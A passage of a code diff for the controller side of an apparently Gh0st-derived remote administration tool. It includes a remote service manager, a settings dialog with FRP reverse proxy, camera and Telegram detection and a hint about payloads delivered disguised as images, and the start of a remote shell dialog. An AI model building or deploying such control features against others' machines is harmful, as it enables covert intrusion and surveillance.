#define FAST_CRASH_TIME_MS 30000 // 30秒内退出视为快速崩溃
// 回调函数类型
typedef void (*AgentStartCallback)(DWORD processId, DWORD sessionId); // 代理启动回调
typedef void (*AgentExitCallback)(DWORD exitCode, ULONGLONG runtimeMs); // 代理退出回调(每次退出,包括正常和崩溃)
typedef void (*CrashCallback)(DWORD exitCode, ULONGLONG runtimeMs); // 崩溃回调,带退出代码和运行时间
typedef void (*CrashWindowCallback)(int crashCount, ULONGLONG firstCrashTime); // 崩溃窗口状态变化回调
typedef void (*CrashProtectionCallback)(void); // 崩溃保护回调
// 会话监控器结构
typedef struct ServerSessionMonitor {
HANDLE monitorThread;
BOOL running;
BOOL runAsUser; // TRUE: 以用户身份运行代理, FALSE: 以SYSTEM身份运行代理
CRITICAL_SECTION csProcessList;
ServerAgentProcessArray agentProcesses;
// 崩溃保护
int crashCount; // 窗口期内崩溃次数
ULONGLONG firstCrashTime; // 第一次崩溃时间(窗口起点)
BOOL crashProtected; // 是否已触发崩溃保护
// 回调函数
AgentStartCallback onAgentStart; // 代理启动时的回调(用于统计启动次数)
AgentExitCallback onAgentExit; // 代理退出时的回调(用于统计运行时间)
CrashCallback onCrash; // 每次崩溃时的回调(用于统计)
CrashWindowCallback onCrashWindowChange; // 崩溃窗口状态变化时的回调(用于持久化)
CrashProtectionCallback onCrashProtection; // 崩溃保护触发时的回调
} ServerSessionMonitor;
// 初始化会话监控器
void ServerSessionMonitor_Init(ServerSessionMonitor* self);
// 清理会话监控器资源
void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self);
// 启动会话监控
BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self);
// 停止会话监控
void ServerSessionMonitor_Stop(ServerSessionMonitor* self);
#ifdef __cplusplus
}
#endif
#endif /* SERVER_SESSION_MONITOR_H */

View File

@@ -0,0 +1,275 @@
// ServicesDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ServicesDlg.h"
#include "afxdialogex.h"
// CServicesDlg 对话框
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
// ItemData1 不要和ItemData同名了同名的话调试会有问题
typedef struct ItemData1 {
CString Data[5];
CString GetData(int index) const
{
return this ? Data[index] : "";
}
} ItemData1;
CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
{
}
CServicesDlg::~CServicesDlg()
{
}
void CServicesDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST, m_ControlList);
DDX_Control(pDX, IDC_STATIC_COUNT, m_ServicesCount);
}
BEGIN_MESSAGE_MAP(CServicesDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_COMMAND(ID_SERVICES_AUTO, &CServicesDlg::OnServicesAuto)
ON_COMMAND(ID_SERVICES_MANUAL, &CServicesDlg::OnServicesManual)
ON_COMMAND(ID_SERVICES_STOP, &CServicesDlg::OnServicesStop)
ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart)
ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash)
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CServicesDlg::OnHdnItemclickList)
END_MESSAGE_MAP()
// CServicesDlg 消息处理程序
BOOL CServicesDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString strString;
strString.FormatL("%s - 服务管理",m_IPAddress);
SetWindowText(strString);
m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT);
m_ControlList.InsertColumnL(0, "真实名称", LVCFMT_LEFT, 150);
m_ControlList.InsertColumnL(1, "显示名称", LVCFMT_LEFT, 260);
m_ControlList.InsertColumnL(2, "启动类型", LVCFMT_LEFT, 80);
m_ControlList.InsertColumnL(3, "运行状态", LVCFMT_LEFT, 80);
m_ControlList.InsertColumnL(4, "可执行文件路径", LVCFMT_LEFT, 380);
ShowServicesList();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
int CServicesDlg::ShowServicesList(void)
{
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
char *szBuffer = tmp.c_str();
char *szDisplayName;
char *szServiceName;
char *szRunWay;
char *szAutoRun;
char *szFilePath;
DWORD dwOffset = 0;
DeleteAllItems();
int i = 0;
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) {
szDisplayName = szBuffer + dwOffset;
szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
szFilePath= szServiceName + lstrlen(szServiceName) +1;
szRunWay = szFilePath + lstrlen(szFilePath) + 1;
szAutoRun = szRunWay + lstrlen(szRunWay) + 1;
m_ControlList.InsertItem(i, szServiceName);
m_ControlList.SetItemText(i, 1, szDisplayName);
m_ControlList.SetItemText(i, 2, szAutoRun);
m_ControlList.SetItemText(i, 3, szRunWay);
m_ControlList.SetItemText(i, 4, szFilePath );
auto data = new ItemData1{ szServiceName, szDisplayName, szAutoRun, szRunWay, szFilePath };
m_ControlList.SetItemData(i, (DWORD_PTR)data);
dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay)
+ lstrlen(szAutoRun) +5;
}
CString strTemp;
strTemp.FormatL("服务个数:%d",i);
m_ServicesCount.SetWindowText(strTemp);
return 0;
}
void CServicesDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DeleteAllItems();
DialogBase::OnClose();
}
void CServicesDlg::OnServicesAuto()
{
ServicesConfig(3);
}
void CServicesDlg::OnServicesManual()
{
ServicesConfig(4);
}
void CServicesDlg::OnServicesStop()
{
ServicesConfig(2);
}
void CServicesDlg::OnServicesStart()
{
ServicesConfig(1);
}
void CServicesDlg::OnServicesReflash()
{
BYTE bToken = COMMAND_SERVICELIST; //刷新
m_ContextObject->Send2Client(&bToken, 1);
}
// 释放资源以后再清空
void CServicesDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
auto data = (ItemData1*)m_ControlList.GetItemData(i);
if (NULL != data) {
delete data;
}
}
m_ControlList.DeleteAllItems();
}
int CALLBACK CServicesDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
// 获取列值
ItemData1* context1 = (ItemData1*)lParam1;
ItemData1* context2 = (ItemData1*)lParam2;
CString s1 = context1->GetData(nColumn);
CString s2 = context2->GetData(nColumn);
int result = s1 > s2 ? 1 : -1;
return bAscending ? result : -result;
}
void CServicesDlg::SortByColumn(int nColumn)
{
static int m_nSortColumn = 0;
static bool m_bSortAscending = false;
if (nColumn == m_nSortColumn) {
// 如果点击的是同一列,切换排序顺序
m_bSortAscending = !m_bSortAscending;
} else {
// 否则,切换到新列并设置为升序
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
// 创建排序信息
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
void CServicesDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
int nColumn = pNMHeader->iItem; // 获取点击的列索引
SortByColumn(nColumn); // 调用排序函数
*pResult = 0;
}
void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
CMenu Menu;
Menu.LoadMenu(IDR_MENU_SERVICES);
TranslateMenu(&Menu);
CMenu *SubMenu=Menu.GetSubMenu(0);
CPoint Point;
GetCursorPos(&Point);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON,Point.x,Point.y,this);
*pResult = 0;
}
void CServicesDlg::OnReceiveComplete(void)
{
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_SERVERLIST:
ShowServicesList();
break;
default:
// 传输发生异常数据
break;
}
}
void CServicesDlg::ServicesConfig(BYTE bCmd)
{
DWORD dwOffset = 2;
POSITION Pos = m_ControlList.GetFirstSelectedItemPosition();
int iItem = m_ControlList.GetNextSelectedItem(Pos);
CString strServicesName = m_ControlList.GetItemText(iItem, 0 );
char* szServiceName = strServicesName.GetBuffer(0);
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(szServiceName)); //[][][]\0
szBuffer[0] = COMMAND_SERVICECONFIG;
szBuffer[1] = bCmd;
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
void CServicesDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建
// 计算新位置和大小
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
// 重新设置控件大小
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}

View File

@@ -0,0 +1,44 @@
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
#include "afxwin.h"
// CServicesDlg 对话框
class CServicesDlg : public DialogBase
{
DECLARE_DYNAMIC(CServicesDlg)
public:
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CServicesDlg();
int ShowServicesList(void);
void OnReceiveComplete(void);
void ServicesConfig(BYTE bCmd);
// 对话框数据
enum { IDD = IDD_DIALOG_SERVICES };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CListCtrl m_ControlList;
virtual BOOL OnInitDialog();
void DeleteAllItems();
void SortByColumn(int nColumn);
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
CStatic m_ServicesCount;
afx_msg void OnClose();
afx_msg void OnServicesAuto();
afx_msg void OnServicesManual();
afx_msg void OnServicesStop();
afx_msg void OnServicesStart();
afx_msg void OnServicesReflash();
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnSize(UINT nType, int cx, int cy);
};

View File

@@ -0,0 +1,359 @@
// SettingDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "SettingDlg.h"
#include "afxdialogex.h"
#include "client/CursorInfo.h"
#include "common/location.h"
// CSettingDlg 对话框
IMPLEMENT_DYNAMIC(CSettingDlg, CDialog)
CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
: CDialogLang(CSettingDlg::IDD, pParent)
, m_nListenPort("6543")
, m_nMax_Connect(0)
, m_sScreenCapture(_T("GDI"))
, m_sScreenCompress(_T("RGBA->RGB565"))
, m_nReportInterval(5)
, m_sSoftwareDetect(_T("摄像头"))
, m_sPublicIP(_T(""))
, m_sUdpOption(_T("UDP"))
, m_nFrpPort(7000)
, m_sFrpToken(_T(""))
, m_nFileServerPort(-1)
{
g_2015RemoteDlg = pParent;
}
CSettingDlg::~CSettingDlg()
{
}
void CSettingDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort);
DDV_MaxChars(pDX, m_nListenPort, 32);
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton);
DDX_Control(pDX, IDC_COMBO_SCREEN_CAPTURE, m_ComboScreenCapture);
DDX_CBString(pDX, IDC_COMBO_SCREEN_CAPTURE, m_sScreenCapture);
DDV_MaxChars(pDX, m_sScreenCapture, 32);
DDX_Control(pDX, IDC_COMBO_SCREEN_COMPRESS, m_ComboScreenCompress);
DDX_CBString(pDX, IDC_COMBO_SCREEN_COMPRESS, m_sScreenCompress);
DDX_Control(pDX, IDC_EDIT_REPORTINTERVAL, m_EditReportInterval);
DDX_Text(pDX, IDC_EDIT_REPORTINTERVAL, m_nReportInterval);
DDV_MinMaxInt(pDX, m_nReportInterval, 0, 3600);
DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect);
DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect);
DDV_MaxChars(pDX, m_sSoftwareDetect, 256);
DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP);
DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP);
DDV_MaxChars(pDX, m_sPublicIP, 100);
DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption);
DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption);
DDV_MaxChars(pDX, m_sUdpOption, 24);
DDX_Control(pDX, IDC_EDIT_FRP_PORT, m_EditFrpPort);
DDX_Text(pDX, IDC_EDIT_FRP_PORT, m_nFrpPort);
DDV_MinMaxInt(pDX, m_nFrpPort, 1, 65535);
DDX_Control(pDX, IDC_EDIT_FRP_TOKEN, m_EditFrpToken);
DDX_Text(pDX, IDC_EDIT_FRP_TOKEN, m_sFrpToken);
DDV_MaxChars(pDX, m_sFrpToken, 24);
DDX_Control(pDX, IDC_COMBO_VIDEO_WALL, m_ComboVideoWall);
DDX_Control(pDX, IDC_EDIT_FILESERVER_PORT, m_EditFileServerPort);
DDX_Text(pDX, IDC_EDIT_FILESERVER_PORT, m_nFileServerPort);
DDV_MinMaxInt(pDX, m_nFileServerPort, -1, 65535);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
ON_BN_CLICKED(IDC_BUTTON_SETTINGAPPLY, &CSettingDlg::OnBnClickedButtonSettingapply)
ON_EN_CHANGE(IDC_EDIT_PORT, &CSettingDlg::OnEnChangeEditPort)
ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax)
ON_BN_CLICKED(IDC_RADIO_ALL_SCREEN, &CSettingDlg::OnBnClickedRadioAllScreen)
ON_BN_CLICKED(IDC_RADIO_MAIN_SCREEN, &CSettingDlg::OnBnClickedRadioMainScreen)
ON_BN_CLICKED(IDC_RADIO_FRP_OFF, &CSettingDlg::OnBnClickedRadioFrpOff)
ON_BN_CLICKED(IDC_RADIO_FRP_ON, &CSettingDlg::OnBnClickedRadioFrpOn)
ON_EN_KILLFOCUS(IDC_EDIT_PUBLIC_IP, &CSettingDlg::OnEnKillfocusEditPublicIp)
END_MESSAGE_MAP()
// CSettingDlg 消息处理程序
BOOL CSettingDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_SET_LISTEN_PORT, _TR("监听端口:"));
SetDlgItemText(IDC_STATIC_SET_MAX_CONN, _TR("最大连接数:"));
SetDlgItemText(IDC_STATIC_SET_TIP1, _TR("操作提示: 1.监听端口支持填写多个用英文分号分隔程序同时监听TCP和UDP且支持基于UDP的KCP"));
SetDlgItemText(IDC_STATIC_SET_TIP2, _TR("操作提示: 2.如果被控端跨网、地区或国家务必设置公网IP勾选FRP反向代理并设置服务端口和 token"));
SetDlgItemText(IDC_STATIC_SET_TIP3, _TR("操作提示: 3.如果以下载的方式提供上线载荷 (如图片)必须设置Web端口受管机器上线时会下载载荷。"));
SetDlgItemText(IDC_STATIC_SET_SCREEN_CAP, _TR("屏幕截图方法:"));
SetDlgItemText(IDC_STATIC_SET_IMG_COMP, _TR("图像压缩方法:"));
SetDlgItemText(IDC_STATIC_SET_REPORT_INT, _TR("上报间隔:"));
SetDlgItemText(IDC_STATIC_SET_SW_DETECT, _TR("软件检测:"));
SetDlgItemText(IDC_STATIC_SET_MULTI_MON, _TR("多显示器支持:"));
SetDlgItemText(IDC_STATIC_SET_UDP_PARAM, _TR("UDP协议参数:"));
SetDlgItemText(IDC_STATIC_SET_FRP_PROXY, _TR("FRP 代理:"));
SetDlgItemText(IDC_STATIC_SET_FRP_PORT, _TR("服务端口:"));
SetDlgItemText(IDC_STATIC_SET_TOKEN, _TR("token:"));
SetDlgItemText(IDC_STATIC_SET_VIDEO_WALL, _TR("多屏上墙:"));
SetDlgItemText(IDC_STATIC_SET_DL_PORT, _TR("Web端口:"));
SetDlgItemText(IDC_GROUP_SET_GENERAL, _TR("常规设置"));
SetDlgItemText(IDC_GROUP_SET_DESKTOP, _TR("桌面管理"));
SetDlgItemText(IDC_GROUP_SET_PARAMS, _TR("参数设置"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("设置"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SetDlgItemText(IDC_BUTTON_SETTINGAPPLY, _TR("应用"));
SetDlgItemText(IDC_RADIO_FRP_OFF, _TR(""));
SetDlgItemText(IDC_RADIO_FRP_ON, _TR(""));
SetDlgItemText(IDC_RADIO_ALL_SCREEN, _TR(""));
SetDlgItemText(IDC_RADIO_MAIN_SCREEN, _TR(""));
// 检测本机 IP 并设置标签和提示
std::string localPublicIP, localPrivateIP;
g_2015RemoteDlg->m_IPConverter->GetLocalIPs(localPublicIP, localPrivateIP);
std::string frpAutoServer = THIS_CFG.GetStr("frp_auto", "server", "");
BOOL frpEnabled = THIS_CFG.GetInt("frp", "UseFrp");
std::string savedMaster = THIS_CFG.GetStr("settings", "master", "");
if (!localPublicIP.empty()) {
// 场景 1: 本机有公网 IP
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
m_sPublicIP = savedMaster.empty() ? localPublicIP.c_str() : savedMaster.c_str();
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
} else if (!frpAutoServer.empty()) {
// 场景 2: 上级配置了 FRP
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
m_sPublicIP = frpAutoServer.c_str();
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
} else if (frpEnabled) {
// 场景 3: 启用了本地 FRPFRP服务器应有公网IP
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
m_sPublicIP = savedMaster.c_str();
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _TR("该地址必须为FRP代理服务器IP"));
} else {
// 场景 4: 无公网,无 FRP仅限局域网
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("内网地址:"));
m_sPublicIP = savedMaster.empty() ? localPrivateIP.c_str() : savedMaster.c_str();
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _TR("跨网使用请配置 FRP 反向代理"));
}
m_sOriginalMaster = m_sPublicIP; // 缓存原始值,用于检测修改
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
std::map<std::string, std::string> udpMap = { {"UDP", "UDP"}, {"KCP", "KCP"} };
std::string method = THIS_CFG.GetStr("settings", "UDPOption", "UDP").c_str();
m_sUdpOption = udpMap.find(method) == udpMap.end() ? "UDP" : udpMap[method].c_str();
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
m_nListenPort = nPort.c_str();
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
switch (n) {
case ALGORITHM_GRAY:
m_sScreenCompress = _L(_T("灰度图像传输"));
break;
case ALGORITHM_DIFF:
m_sScreenCompress = _L(_T("屏幕差异算法"));
break;
case ALGORITHM_H264:
m_sScreenCompress = _L(_T("H264压缩算法"));
break;
case ALGORITHM_RGB565:
m_sScreenCompress = _L(_T("RGBA->RGB565"));
break;
default:
break;
}
m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输");
m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法");
m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法");
m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565");
m_ComboScreenCapture.InsertStringL(0, "GDI");
m_ComboScreenCapture.InsertStringL(1, "DXGI");
m_ComboScreenCapture.InsertStringL(2, "VIRTUAL");
m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI");
m_ComboSoftwareDetect.InsertStringL(SOFTWARE_CAMERA, "摄像头");
m_ComboSoftwareDetect.InsertStringL(SOFTWARE_TELEGRAM, "电报");
auto str = THIS_CFG.GetStr("settings", "ReportInterval", "5");
m_nReportInterval = atoi(str.c_str());
n = THIS_CFG.GetInt("settings", "SoftwareDetect");
switch (n) {
case SOFTWARE_CAMERA:
m_sSoftwareDetect = _L(_T("摄像头"));
break;
case SOFTWARE_TELEGRAM:
m_sSoftwareDetect = _L(_T("电报"));
break;
default:
m_sSoftwareDetect = _L(_T("摄像头"));
break;
}
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!all);
((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(all);
BOOL frp = THIS_CFG.GetInt("frp", "UseFrp");
((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!frp);
((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(frp);
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(frp);
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(frp);
#ifndef _WIN64
GetDlgItem(IDC_RADIO_FRP_OFF)->EnableWindow(FALSE);
GetDlgItem(IDC_RADIO_FRP_ON)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(FALSE);
#endif
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
m_nFileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
m_ComboVideoWall.InsertStringL(0, "");
m_ComboVideoWall.InsertStringL(1, "2 x 2");
m_ComboVideoWall.InsertStringL(2, "3 x 3");
m_ComboVideoWall.InsertStringL(3, "4 x 4");
m_ComboVideoWall.InsertStringL(4, "5 x 5");
if (size < 1 || size > 5) size = 1;
m_ComboVideoWall.SetCurSel(size-1);
UpdateData(FALSE);
return TRUE;
}
void CSettingDlg::OnBnClickedButtonSettingapply()
{
UpdateData(TRUE);
THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer());
THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString());
THIS_CFG.SetStr("settings", "UDPOption", m_sUdpOption.GetString());
int n = m_ComboScreenCapture.GetCurSel();
THIS_CFG.SetInt("settings", "DXGI", n);
n = m_ComboScreenCompress.GetCurSel();
THIS_CFG.SetInt("settings", "ScreenCompress", n);
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);
n = m_ComboSoftwareDetect.GetCurSel();
THIS_CFG.SetInt("settings", "SoftwareDetect", n);
BOOL all = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck();
THIS_CFG.SetInt("settings", "MultiScreen", all);
BOOL frp = ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->GetCheck();
THIS_CFG.SetInt("frp", "UseFrp", frp);
THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
THIS_CFG.SetInt("settings", "WebSvrPort", m_nFileServerPort);
if (m_nFileServerPort > 0 && THIS_CFG.GetStr("settings", "Authorization").empty()) {
MessageBoxL("Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!", "提示", MB_ICONWARNING);
}
THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
m_ApplyButton.EnableWindow(FALSE);
m_ApplyButton.ShowWindow(SW_HIDE);
}
void CSettingDlg::OnEnChangeEditPort()
{
// TODO: 如果该控件是 RICHEDIT 控件,它将不
// 发送此通知,除非重写 __super::OnInitDialog()
// 函数并调用 CRichEditCtrl().SetEventMask()
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
// TODO: 在此添加控件通知处理程序代码
// 给Button添加变量
m_ApplyButton.ShowWindow(SW_NORMAL);
m_ApplyButton.EnableWindow(TRUE);
}
void CSettingDlg::OnEnChangeEditMax()
{
// TODO: 如果该控件是 RICHEDIT 控件,它将不
// 发送此通知,除非重写 __super::OnInitDialog()
// 函数并调用 CRichEditCtrl().SetEventMask()
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
// TODO: 在此添加控件通知处理程序代码
HWND hApplyButton = ::GetDlgItem(m_hWnd,IDC_BUTTON_SETTINGAPPLY);
::ShowWindow(hApplyButton,SW_NORMAL);
::EnableWindow(hApplyButton,TRUE);
}
void CSettingDlg::OnOK()
{
OnBnClickedButtonSettingapply();
__super::OnOK();
}
void CSettingDlg::OnBnClickedRadioAllScreen()
{
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->GetCheck();
((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(!b);
}
void CSettingDlg::OnBnClickedRadioMainScreen()
{
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck();
((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!b);
}
void CSettingDlg::OnBnClickedRadioFrpOff()
{
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->GetCheck();
((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(!b);
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(!b);
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(!b);
}
void CSettingDlg::OnBnClickedRadioFrpOn()
{
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->GetCheck();
((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!b);
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(b);
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(b);
}
void CSettingDlg::OnEnKillfocusEditPublicIp()
{
auto bindType = THIS_CFG.GetInt("settings", "BindType", 0);
if (bindType == 1 && !THIS_CFG.GetStr("settings", "Password").empty()) {
GetDlgItemText(IDC_EDIT_PUBLIC_IP, m_sPublicIP);
if (m_sPublicIP != m_sOriginalMaster) {
if (IDYES == MessageBox(_TR("修改绑定的公网地址将导致授权失效! 是否继续?"),
_TR("提示"), MB_ICONWARNING | MB_YESNO)) {
// 用户确认修改,更新缓存值避免重复警告
m_sOriginalMaster = m_sPublicIP;
} else {
// 用户取消,恢复原值
m_sPublicIP = m_sOriginalMaster;
SetDlgItemText(IDC_EDIT_PUBLIC_IP, m_sPublicIP);
}
}
}
}

View File

@@ -0,0 +1,58 @@
#pragma once
#include "afxwin.h"
#include "LangManager.h"
#include "2015RemoteDlg.h"
// CSettingDlg 对话框
class CSettingDlg : public CDialogLang
{
DECLARE_DYNAMIC(CSettingDlg)
public:
CSettingDlg(CMy2015RemoteDlg* pParent); // 标准构造函数
virtual ~CSettingDlg();
CMy2015RemoteDlg* g_2015RemoteDlg = nullptr;
// 对话框数据
enum { IDD = IDD_DIALOG_SET };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CString m_nListenPort;
UINT m_nMax_Connect;
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedButtonSettingapply();
afx_msg void OnEnChangeEditPort();
afx_msg void OnEnChangeEditMax();
CButton m_ApplyButton;
virtual void OnOK();
CComboBox m_ComboScreenCapture;
CString m_sScreenCapture;
CComboBox m_ComboScreenCompress;
CString m_sScreenCompress;
CEdit m_EditReportInterval;
int m_nReportInterval;
CComboBox m_ComboSoftwareDetect;
CString m_sSoftwareDetect;
CEdit m_EditPublicIP;
CString m_sPublicIP;
afx_msg void OnBnClickedRadioAllScreen();
afx_msg void OnBnClickedRadioMainScreen();
CEdit m_EditUdpOption;
CString m_sUdpOption;
afx_msg void OnBnClickedRadioFrpOff();
afx_msg void OnBnClickedRadioFrpOn();
CEdit m_EditFrpPort;
int m_nFrpPort;
CEdit m_EditFrpToken;
CString m_sFrpToken;
CComboBox m_ComboVideoWall;
CEdit m_EditFileServerPort;
int m_nFileServerPort;
afx_msg void OnEnKillfocusEditPublicIp();
CString m_sOriginalMaster; // 缓存原始公网地址,用于检测修改
};

View File

@@ -0,0 +1,304 @@
// ShellDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ShellDlg.h"
#include "afxdialogex.h"
#define EDIT_MAXLENGTH 30000
BEGIN_MESSAGE_MAP(CAutoEndEdit, CEdit)
ON_WM_CHAR()
END_MESSAGE_MAP()
void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags)
{
// 获取当前光标位置
int nStart, nEnd;
GetSel(nStart, nEnd);
